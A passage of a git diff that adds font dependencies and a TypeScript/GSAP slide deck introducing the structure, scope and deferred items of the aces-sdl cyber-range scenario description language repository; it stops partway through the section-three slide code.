z@P&hvwi;a?aNK;1M)jd2iho%10Axw;%88H?{qByc(g^o_876g24uHU1upjHqL=b5U zaXh^uwOTJZbG8gB5Gjm|;#Rjv^HFTvf*()esN(8S0V{?^_UZ*)p-2KB=9kz(UQU<-X z4`ML?VpI|owNd<8<@Jlsre5AGXsWEq@wv~FS#MZO)jx0Cot0C&+vVi#a_y_Od-Vmg zzRaxDgVwF&YYTdp15|0H<>;h`$Lx8{v#j76W9pH$w}>voE6ZDdJf+7%PHUBvl^2Wx z<@8|Zf>do-Xbr|h!3FuvR)G^EWp9xD?fsSN_D1=;>{u@*&xk=)WY6)KUtv*`l?HWI zg=-Y4QFl6H&`WN{N7eSzRNxXt@_AV~d^of8l+UuqIY<~l87IiX)v57Z_9=8FLSLe% ztf!!uQ-hf34E;7eo)*y|CLob#C*>)HF5OKd2Up$_5>Varj)_Q3%I$qC;#UYtuhpNUjgip6TUa zx5d6ZeTg@*D(_bm%eW)!Vl*hSon)kEV9yjANhoW2c9v-{T#QlbcBx{TeD^OGB)l?y!R420n?%hR zW?_m|M@?+OVlG?vppsu33-&uI)~Wi4nOz6k?1OFZWEyeA)rH}E6~yZ*)doF%l&Tc= znP!UsOuubO-28OXRLUV8Fd#RXuD=o^L8k?wJ6!YBC=Z*a!uEM0dJd99t4$X`R*R&p z6MIJELhI9#Ap^z*PWM3tYccU8pC^b%n@ zAHC}%&Ii`_MEuT3{>G1w>-`60Kh;4Hc>j-+cK_R+`}c-W-p!4Wo|-(N%)9^Y-ARZ* WZ;t66Da-vwB10856v|({3Hl$~Zt=YU literal 0 HcmV?d00001 diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 73a6c95..172eab7 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -11,6 +11,21 @@ importers: .: dependencies: + '@fontsource-variable/geist': + specifier: ^5.2.9 + version: 5.2.9 + '@fontsource-variable/geist-mono': + specifier: ^5.2.8 + version: 5.2.8 + '@fontsource-variable/inter': + specifier: ^5.2.8 + version: 5.2.8 + '@fontsource-variable/jetbrains-mono': + specifier: ^5.2.8 + version: 5.2.8 + '@fontsource-variable/source-serif-4': + specifier: ^5.2.9 + version: 5.2.9 gsap: specifier: ^3.15.0 version: 3.15.0 @@ -282,6 +297,21 @@ packages: cpu: [x64] os: [win32] + '@fontsource-variable/geist-mono@5.2.8': + resolution: {integrity: sha512-KI5bj+hkkRiHttYHmccotUZ80ZuZyai+RwI1d7UId0clkx/jXxlo8qYK8j54WzmpBjtMoEMPyllV7faDcj+6RA==} + + '@fontsource-variable/geist@5.2.9': + resolution: {integrity: sha512-TP+QSBG3wxKGPE33CbMy/L0Nu3qvJ6Fy81Yc4LnQ95xH+i+cfEp8fyU8/kfV14YwszxIFPhnoMTbjL71waVpyQ==} + + '@fontsource-variable/inter@5.2.8': + resolution: {integrity: sha512-kOfP2D+ykbcX/P3IFnokOhVRNoTozo5/JxhAIVYLpea/UBmCQ/YWPBfWIDuBImXX/15KH+eKh4xpEUyS2sQQGQ==} + + '@fontsource-variable/jetbrains-mono@5.2.8': + resolution: {integrity: sha512-WBA9elru6Jdp5df2mES55wuOO0WIrn3kpXnI4+W2ek5u3ZgLS9XS4gmIlcQhiZOWEKl95meYdvK7xI+ETLCq/Q==} + + '@fontsource-variable/source-serif-4@5.2.9': + resolution: {integrity: sha512-PPcxjLFk/fS0WHg79pDM2YNvz61kC+oYZ5cWZZyCS0DHpJncmuYOuiZAsvj4tDxlWPBEvxxcRLQQNmSaRbPkqw==} + '@isaacs/cliui@8.0.2': resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} engines: {node: '>=12'} @@ -1058,6 +1088,16 @@ snapshots: '@esbuild/win32-x64@0.25.12': optional: true + '@fontsource-variable/geist-mono@5.2.8': {} + + '@fontsource-variable/geist@5.2.9': {} + + '@fontsource-variable/inter@5.2.8': {} + + '@fontsource-variable/jetbrains-mono@5.2.8': {} + + '@fontsource-variable/source-serif-4@5.2.9': {} + '@isaacs/cliui@8.0.2': dependencies: string-width: 5.1.2 diff --git a/src/decks/aces-ecosystem-intro/composition.ts b/src/decks/aces-ecosystem-intro/composition.ts new file mode 100644 index 0000000..e71acb7 --- /dev/null +++ b/src/decks/aces-ecosystem-intro/composition.ts @@ -0,0 +1,65 @@ +// ACES ecosystem intro composition. +// +// The manifest is the canonical sequence the workbench plays for +// `?composition=aces-ecosystem-intro`. Transitions are restricted to +// `cut` (between consecutive content scenes within a section) and +// `dissolve` (into a section title or appendix). The briefing register +// avoids slams, flashes, holds-on-black, and directional pushes. + +import type { CompositionManifest } from '../../runtime/composition'; +import type { CompositionRegistryEntry } from '../../runtime/composition-registry'; + +export const ACES_ECOSYSTEM_INTRO_COMPOSITION_ID = 'aces-ecosystem-intro'; + +const cut = (id: string) => ({ + id, + behavior: { transition: { name: 'cut' } }, +}); + +const dissolve = (id: string, durationMs?: number) => ({ + id, + behavior: { + transition: { + name: 'dissolve', + ...(durationMs === undefined ? {} : { durationMs }), + }, + }, +}); + +export const acesEcosystemIntroComposition: CompositionManifest = [ + 'aces-cover', + dissolve('aces-non-claim'), + dissolve('aces-toc'), + + dissolve('aces-1', 700), + cut('aces-1-instrument-problem'), + cut('aces-1-rqs'), + cut('aces-1-corpus'), + + dissolve('aces-2', 700), + cut('aces-2-definition'), + cut('aces-2-sdl-doc'), + cut('aces-2-separates'), + cut('aces-2-not'), + cut('aces-2-deferred'), + + dissolve('aces-3', 700), + cut('aces-3-layout'), + cut('aces-3-authority'), + cut('aces-3-identifiers'), + + dissolve('aces-4', 700), + cut('aces-4-contracts'), + cut('aces-4-conformance'), + cut('aces-4-gate'), + + dissolve('aces-5', 700), + cut('aces-5-reads'), + + dissolve('aces-refs'), +]; + +export const acesEcosystemIntroCompositionEntry: CompositionRegistryEntry = { + id: ACES_ECOSYSTEM_INTRO_COMPOSITION_ID, + manifest: acesEcosystemIntroComposition, +}; diff --git a/src/decks/aces-ecosystem-intro/content.ts b/src/decks/aces-ecosystem-intro/content.ts new file mode 100644 index 0000000..c5fa2a6 --- /dev/null +++ b/src/decks/aces-ecosystem-intro/content.ts @@ -0,0 +1,1495 @@ +// ACES ecosystem intro deck. +// +// Audience: a research-literate reader who has not used aces-sdl. The +// deck is a structural introduction to the repository: definition, +// scope boundary, top-level layout, contract surface, conformance, and +// the documents to read next. Every claim is grounded in a file under +// `../aces-sdl/` and `../F1/`; citations +// appear inline as `[:]` and again in +// the references appendix. +// +// The deck makes no claim that ACES addresses any F1-charted instrument +// problem. The instrument papers (A1, A2, ...) are the venue for that +// argument; this is an introduction to how the SDL repository is +// structured. + +import type { SceneModule } from '../../runtime/scene'; +import { + buildTemplateScene, + buildTemplateTimeline, + cleanupTemplateRoot, + mountTemplateRoot, +} from '../../system/templates/_shared'; + +interface BeatTimeline { + addLabel(name: string, time?: number): unknown; + fromTo(target: unknown, from: object, to: object, position?: number | string): unknown; + to(target: unknown, vars: object, position?: number | string): unknown; + set(target: unknown, vars: object, position?: number | string): unknown; + call(fn: () => void, params?: unknown[], position?: number | string): unknown; +} + +interface SceneSpec { + readonly id: string; + readonly title: string; + readonly caption: string; + readonly section: string; + readonly cite?: string; + readonly build: (root: HTMLElement, ownerDoc: Document) => void; + readonly beats: (tl: BeatTimeline, rootValue: string) => void; + /** + * When true, the trailing tween is extended to an + * effectively-indefinite duration so the master never reaches its + * natural end — `skip-backward` from the end of the deck still seeks + * to an earlier segment instead of operating on a torn-down master. + */ + readonly holdForever?: boolean; +} + +const escapeHtml = (value: string): string => + value + .replaceAll('&', '&') + .replaceAll('<', '<') + .replaceAll('>', '>') + .replaceAll('"', '"'); + +const sel = (sceneId: string, cls: string): string => `[data-pulsar-template="${sceneId}"] ${cls}`; + +const buildScene = (spec: SceneSpec): SceneModule => + buildTemplateScene({ + id: spec.id, + title: spec.title, + captions: [{ at: 'in', text: spec.caption }], + tags: ['aces-ecosystem-intro'], + create: (ctx) => { + mountTemplateRoot({ + ctx, + rootValue: spec.id, + templateKind: spec.id, + extraClasses: ['aces-intro'], + buildChildren: (root, ownerDoc) => { + const r = root as unknown as HTMLElement; + const d = ownerDoc as unknown as Document; + const page = d.createElement('div'); + page.className = 'ax-page'; + + const head = d.createElement('div'); + head.className = 'ax-head'; + const mark = d.createElement('span'); + mark.className = 'ax-head__mark'; + mark.textContent = 'aces-sdl · introduction'; + const sectionLabel = d.createElement('span'); + sectionLabel.textContent = spec.section; + head.appendChild(mark); + head.appendChild(sectionLabel); + + const body = d.createElement('div'); + body.className = 'ax-body'; + spec.build(body, d); + + const foot = d.createElement('div'); + foot.className = 'ax-foot'; + const cite = d.createElement('span'); + cite.className = 'ax-foot__cite'; + cite.textContent = spec.cite ?? ''; + const num = d.createElement('span'); + num.className = 'ax-foot__num'; + num.textContent = spec.id; + foot.appendChild(cite); + foot.appendChild(num); + + page.appendChild(head); + page.appendChild(body); + page.appendChild(foot); + r.appendChild(page); + }, + }); + }, + timeline: (ctx) => + buildTemplateTimeline({ + ctx, + rootValue: spec.id, + suffixDurationSeconds: spec.holdForever === true ? 3600 : 0.6, + buildSegments: (tl) => { + spec.beats(tl as unknown as BeatTimeline, spec.id); + }, + }), + cleanup: cleanupTemplateRoot(spec.id), + }); + +// Restrained motion. Body fades in at 200ms; structural rows +// stagger at 80ms; pull quotes fade up with a 12px nudge. +const fadeIn = ( + tl: BeatTimeline, + id: string, + cls: string, + at: number, + opts: { stagger?: number; y?: number; duration?: number } = {}, +): void => { + tl.fromTo( + sel(id, cls), + { opacity: 0, y: opts.y ?? 6 }, + { + opacity: 1, + y: 0, + duration: opts.duration ?? 0.45, + stagger: opts.stagger, + ease: 'power2.out', + }, + at, + ); +}; + +const cite = (path: string): string => `[${escapeHtml(path)}]`; + +// ---------------------------------------------------------------------- +// Cover +// ---------------------------------------------------------------------- + +const coverScene = buildScene({ + id: 'aces-cover', + title: 'ACES — cover', + caption: + 'ACES — Agentic Cyber Environment System. Backend-agnostic scenario description language, Python reference implementation, and contract surface.', + section: 'cover', + build: (body, d) => { + const cover = d.createElement('div'); + cover.className = 'ax-cover'; + + const title = d.createElement('h1'); + title.className = 'ax-cover__title'; + title.textContent = 'ACES'; + + const expand = d.createElement('p'); + expand.className = 'ax-cover__expand'; + expand.textContent = 'Agentic Cyber Environment System'; + + const rule = d.createElement('div'); + rule.className = 'ax-cover__rule'; + + const abstract = d.createElement('p'); + abstract.className = 'ax-cover__abstract'; + abstract.innerHTML = + '“Agentic Cyber Environment System (ACES) is a backend-agnostic scenario description language, Python reference implementation, and contract surface for cyber range scenarios and experiments.”README.md:1–5'; + + cover.appendChild(title); + cover.appendChild(expand); + cover.appendChild(rule); + cover.appendChild(abstract); + body.appendChild(cover); + }, + beats: (tl, id) => { + tl.addLabel('cover-in', 0); + fadeIn(tl, id, '.ax-cover__title', 0, { y: 18, duration: 0.7 }); + fadeIn(tl, id, '.ax-cover__expand', 0.45); + fadeIn(tl, id, '.ax-cover__rule', 0.75, { duration: 0.4 }); + fadeIn(tl, id, '.ax-cover__abstract', 0.95, { duration: 0.55 }); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// Non-claim +// ---------------------------------------------------------------------- + +const nonClaimScene = buildScene({ + id: 'aces-non-claim', + title: 'ACES — non-claim', + caption: + 'Motivation is not validation. This briefing introduces the structure of the aces-sdl repository.', + section: 'front matter', + cite: 'lit-review-plan.md · aces-instrument-paper-details.md', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Scope'; + + const pull = d.createElement('blockquote'); + pull.className = 'ax-pull'; + pull.innerHTML = 'Motivation is not validation.'; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `F1 charts recurring methodological and instrument problems in AI cyber autonomy evaluation ${cite('F1/lit-review-plan.md:1–3')}. This briefing describes how the aces-sdl repository is structured. Whether ACES addresses any F1-charted problem is a question for the instrument papers (A1, A2, ...) ${cite('aces-instrument-paper-details.md')}, not this introduction.`; + + content.appendChild(eyebrow); + content.appendChild(pull); + content.appendChild(prose); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('non-claim-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-pull', 0.2, { y: 12, duration: 0.55 }); + fadeIn(tl, id, '.ax-prose', 0.6, { duration: 0.5 }); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// Section map +// ---------------------------------------------------------------------- + +const tocScene = buildScene({ + id: 'aces-toc', + title: 'ACES — sections', + caption: 'Five sections: motivation, definition, structure, contracts, reading.', + section: 'contents', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Contents'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Five sections.'; + + const list = d.createElement('ol'); + list.className = 'ax-toc'; + const rows: readonly { title: string; sub: string }[] = [ + { + title: 'Why this apparatus exists.', + sub: 'Instrument problems in AI cyber autonomy evaluation. F1.', + }, + { + title: 'What the SDL is.', + sub: 'Definition, what it separates, and what it is not.', + }, + { + title: 'Repository structure.', + sub: 'Specs, contracts, implementations, examples, docs, research, tools.', + }, + { + title: 'Contracts and conformance.', + sub: 'Published machine-readable surface and how it is enforced.', + }, + { + title: 'Reading after this talk.', + sub: 'A traversal order for the repository.', + }, + ]; + rows.forEach((r, i) => { + const row = d.createElement('li'); + row.className = 'ax-toc__row'; + const num = d.createElement('span'); + num.className = 'ax-toc__num'; + num.textContent = `§${i + 1}`; + const text = d.createElement('span'); + text.className = 'ax-toc__text'; + text.innerHTML = `${escapeHtml(r.title)}${escapeHtml(r.sub)}`; + row.appendChild(num); + row.appendChild(text); + list.appendChild(row); + }); + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(list); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('toc-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-toc__num', 0.55, { stagger: 0.08, y: 8 }); + fadeIn(tl, id, '.ax-toc__text', 0.6, { stagger: 0.08, y: 8 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §1 — Section title +// ---------------------------------------------------------------------- + +const section1 = buildScene({ + id: 'aces-1', + title: 'ACES — §1 title', + caption: 'Section one. Why this apparatus exists.', + section: '§1', + build: (body, d) => { + const sec = d.createElement('div'); + sec.className = 'ax-section'; + const num = d.createElement('div'); + num.className = 'ax-section__num'; + num.textContent = 'Section 1'; + const title = d.createElement('h2'); + title.className = 'ax-section__title'; + title.textContent = 'Why this apparatus exists.'; + const lede = d.createElement('p'); + lede.className = 'ax-section__lede'; + lede.textContent = + 'Instrument problems in AI cyber autonomy evaluation, charted by the F1 literature synthesis.'; + sec.appendChild(num); + sec.appendChild(title); + sec.appendChild(lede); + body.appendChild(sec); + }, + beats: (tl, id) => { + tl.addLabel('section-in', 0); + fadeIn(tl, id, '.ax-section__num', 0); + fadeIn(tl, id, '.ax-section__title', 0.2, { y: 14, duration: 0.6 }); + fadeIn(tl, id, '.ax-section__lede', 0.65); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// §1.1 — Instrument problem definition +// ---------------------------------------------------------------------- + +const ip1Scene = buildScene({ + id: 'aces-1-instrument-problem', + title: 'ACES — instrument problem', + caption: 'Working definition of an instrument problem, from F1.', + section: '§1 · 1', + cite: 'F1/lit-review-plan.md:47–54', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Working definition'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Instrument problem.'; + + const pull = d.createElement('blockquote'); + pull.className = 'ax-pull'; + pull.innerHTML = `“A property of an AI/autonomy evaluation's apparatus — or of how that apparatus is used — that makes a result difficult to compare, reproduce, or interpret.”F1/lit-review-plan.md:47–54`; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `F1 lists the apparatus surfaces in scope: task design, environment design, agent scaffold, observation/action surfaces, hidden assets, evidence capture, provenance, and backend realization ${cite('F1/lit-review-plan.md:47–54')}.`; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(pull); + content.appendChild(prose); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('ip-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-pull', 0.55, { y: 12, duration: 0.55 }); + fadeIn(tl, id, '.ax-prose', 0.95); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §1.2 — Research questions +// ---------------------------------------------------------------------- + +const rqScene = buildScene({ + id: 'aces-1-rqs', + title: 'ACES — F1 research questions', + caption: 'F1 frames three research questions about instrument problems.', + section: '§1 · 2', + cite: 'F1/lit-review-plan.md:35–42', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'F1 research questions'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Three questions.'; + + const dl = d.createElement('dl'); + dl.className = 'ax-defs'; + const rows: readonly { dt: string; dd: string }[] = [ + { + dt: 'RQ1', + dd: 'What methodological and instrument problems recur in AI/cyber autonomy evaluation?', + }, + { + dt: 'RQ2', + dd: 'Which problems are caused by task design, environment design, agent scaffold, observation/action surfaces, hidden assets, evidence capture, provenance, or backend realization?', + }, + { + dt: 'RQ3', + dd: 'Which problems can be addressed before backend-specific fidelity claims?', + }, + ]; + for (const r of rows) { + const dt = d.createElement('dt'); + dt.textContent = r.dt; + const dd = d.createElement('dd'); + dd.innerHTML = `${escapeHtml(r.dd)}${cite('F1/lit-review-plan.md:35–42')}`; + dl.appendChild(dt); + dl.appendChild(dd); + } + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(dl); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('rq-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-defs dt', 0.55, { stagger: 0.12, y: 6 }); + fadeIn(tl, id, '.ax-defs dd', 0.62, { stagger: 0.12, y: 6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §1.3 — F1 corpus +// ---------------------------------------------------------------------- + +const corpusScene = buildScene({ + id: 'aces-1-corpus', + title: 'ACES — F1 corpus', + caption: 'F1 catalogues 15 instrument problems across 135 sources spanning four evidence strata.', + section: '§1 · 3', + cite: 'F1/synthesis.md:21–22, 35–36', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Corpus'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'What F1 looked at.'; + + const table = d.createElement('table'); + table.className = 'ax-table ax-table--narrow'; + table.innerHTML = ` + + QuantitySubject + + + 15recurring instrument-problem codes (IP1–IP15) + 135sources reviewed + 4evidence strata: cyber range · benchmark · agent · simulation + + `; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `Every instrument problem recurs across all four evidence strata after the integrated audit ${cite('F1/synthesis.md:35–36')}.`; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(table); + content.appendChild(prose); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('corpus-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-table', 0.55, { duration: 0.55 }); + fadeIn(tl, id, '.ax-prose', 0.95); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §2 — Section title +// ---------------------------------------------------------------------- + +const section2 = buildScene({ + id: 'aces-2', + title: 'ACES — §2 title', + caption: 'Section two. What the SDL is.', + section: '§2', + build: (body, d) => { + const sec = d.createElement('div'); + sec.className = 'ax-section'; + const num = d.createElement('div'); + num.className = 'ax-section__num'; + num.textContent = 'Section 2'; + const title = d.createElement('h2'); + title.className = 'ax-section__title'; + title.textContent = 'What the SDL is.'; + const lede = d.createElement('p'); + lede.className = 'ax-section__lede'; + lede.textContent = + 'Definition, what the repository separates, and the explicit scope boundary.'; + sec.appendChild(num); + sec.appendChild(title); + sec.appendChild(lede); + body.appendChild(sec); + }, + beats: (tl, id) => { + tl.addLabel('section-in', 0); + fadeIn(tl, id, '.ax-section__num', 0); + fadeIn(tl, id, '.ax-section__title', 0.2, { y: 14, duration: 0.6 }); + fadeIn(tl, id, '.ax-section__lede', 0.65); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// §2.1 — Definition +// ---------------------------------------------------------------------- + +const definitionScene = buildScene({ + id: 'aces-2-definition', + title: 'ACES — definition', + caption: + 'ACES is a backend-agnostic SDL, a Python reference implementation, and a contract surface.', + section: '§2 · 1', + cite: 'README.md:1–5', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Definition · verbatim'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'What ACES is.'; + + const pull = d.createElement('blockquote'); + pull.className = 'ax-pull'; + pull.innerHTML = + '“Agentic Cyber Environment System (ACES) is a backend-agnostic scenario description language, Python reference implementation, and contract surface for cyber range scenarios and experiments.”README.md:1–5'; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(pull); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('def-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-pull', 0.55, { y: 14, duration: 0.6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §2.2 — What an SDL document is +// ---------------------------------------------------------------------- + +const sdlDocScene = buildScene({ + id: 'aces-2-sdl-doc', + title: 'ACES — SDL document', + caption: 'An SDL document is a declarative scenario description.', + section: '§2 · 2', + cite: 'README.md:39–42', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'SDL document'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'What it describes.'; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `An SDL document is a “declarative scenario document” describing topology, hosts, services, identities, content, relationships, agents, objectives, workflows, variables, and evaluation material — without directly describing a specific backend's infrastructure primitives ${cite('README.md:39–42')}.`; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(prose); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('sdl-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-prose', 0.55); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// §2.3 — What the repository separates +// ---------------------------------------------------------------------- + +const separatesScene = buildScene({ + id: 'aces-2-separates', + title: 'ACES — separation', + caption: + 'The repository separates authored scenario meaning from processors, backends, participant implementations, runtime state, and archived evidence.', + section: '§2 · 3', + cite: 'README.md:7–12', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Separation'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'What the repository separates.'; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `The repository separates “authored scenario meaning from processors, backends, participant implementations, runtime state, and archived evidence” ${cite('README.md:7–12')}.`; + + const dl = d.createElement('dl'); + dl.className = 'ax-defs'; + const rows: readonly { dt: string; dd: string }[] = [ + { dt: 'authoring', dd: 'SDL — declarative scenario meaning.' }, + { dt: 'processing', dd: 'Instantiates SDL, compiles runtime models, plans execution.' }, + { + dt: 'backend', + dd: 'Realizes scenario targets. Contracts and stubs present; production backends separate.', + }, + { dt: 'participant', dd: 'Agent / policy / script / human-control proxy implementations.' }, + { dt: 'runtime state', dd: 'Live execution surface.' }, + { dt: 'evidence', dd: 'Recorded observations, results, history.' }, + ]; + for (const r of rows) { + const dt = d.createElement('dt'); + dt.textContent = r.dt; + const dd = d.createElement('dd'); + dd.textContent = r.dd; + dl.appendChild(dt); + dl.appendChild(dd); + } + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(prose); + content.appendChild(dl); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('sep-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-prose', 0.55); + fadeIn(tl, id, '.ax-defs dt', 0.95, { stagger: 0.08, y: 6 }); + fadeIn(tl, id, '.ax-defs dd', 1.0, { stagger: 0.08, y: 6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §2.4 — What it is not +// ---------------------------------------------------------------------- + +const notScene = buildScene({ + id: 'aces-2-not', + title: 'ACES — scope boundary', + caption: 'What the aces-sdl repository explicitly is not.', + section: '§2 · 4', + cite: 'README.md:14–20 · limitations.md:74–77', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Scope boundary'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'What this repository is not.'; + + const table = d.createElement('table'); + table.className = 'ax-table'; + table.innerHTML = ` + + StatementSource + + + + Not a managed cyber range; no production backend included. + README.md:17–20 + + + Backend contracts, stubs, conformance checks, and examples are present; deployable backends remain separate implementations. + README.md:17–20 + + + Not a generic scenario-ingestion layer; the SDL loader is intentionally thin. Non-SDL entrypoints are outside scope. + docs/explain/sdl/limitations.md:74–77 + + + Intended as reference implementation code — to be read, tested, and used — not as a product surface. + README.md:14–16 + + + `; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(table); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('not-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-table', 0.55, { duration: 0.55 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §2.5 — Known deferrals +// ---------------------------------------------------------------------- + +const deferredScene = buildScene({ + id: 'aces-2-deferred', + title: 'ACES — deferred', + caption: 'Known deferred concerns in the SDL specification layer.', + section: '§2 · 5', + cite: 'docs/explain/sdl/limitations.md:46–60', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Deferred · specification layer'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Items currently out of scope.'; + + const table = d.createElement('table'); + table.className = 'ax-table'; + table.innerHTML = ` + + Deferred itemCandidate reference / model + + + Hosted registry operations / ecosystem distributionTerraform registry; OCI artifact delivery + Manual compensation APIs and advanced rollback patternsCACAO v2.0; saga patterns + Temporal operatorsSTIX-style FOLLOWEDBY / WITHIN + Full time and clock modelTime domains; clock authority; pacing/dilation policy + Full solver-backed verificationGlobal proof-style verification + Full participant behavior surfaceTool / affordance declarations; decision-surface exposure + Scenario-native observability and authored evidence requirementsOpenRange; OCSF-informed models + User behavior profilesCybORG Green agents + Multi-tenancyMultiple independent exercises sharing infrastructure + + `; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(table); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('deferred-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-table', 0.55, { duration: 0.6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §3 — Section title +// ---------------------------------------------------------------------- + +const section3 = buildScene({ + id: 'aces-3', + title: 'ACES — §3 title', + caption: 'Section three. Repository structure.', + section: '§3', + build: (body, d) => { + const sec = d.createElement('div'); + sec.className = 'ax-section'; + const num = d.createElement('div'); + num.className = 'ax-section__num'; + num.textContent = 'Section 3'; + const title = d.createElement('h2'); + title.className = 'ax-section__title'; + title.textContent = 'Repository structure.'; + const lede = d.createElement('p'); + lede.className = 'ax-section__lede'; + lede.textContent = + 'Top-level directories, authority boundary, and the requirement-identifier convention.'; + sec.appendChild(num); + 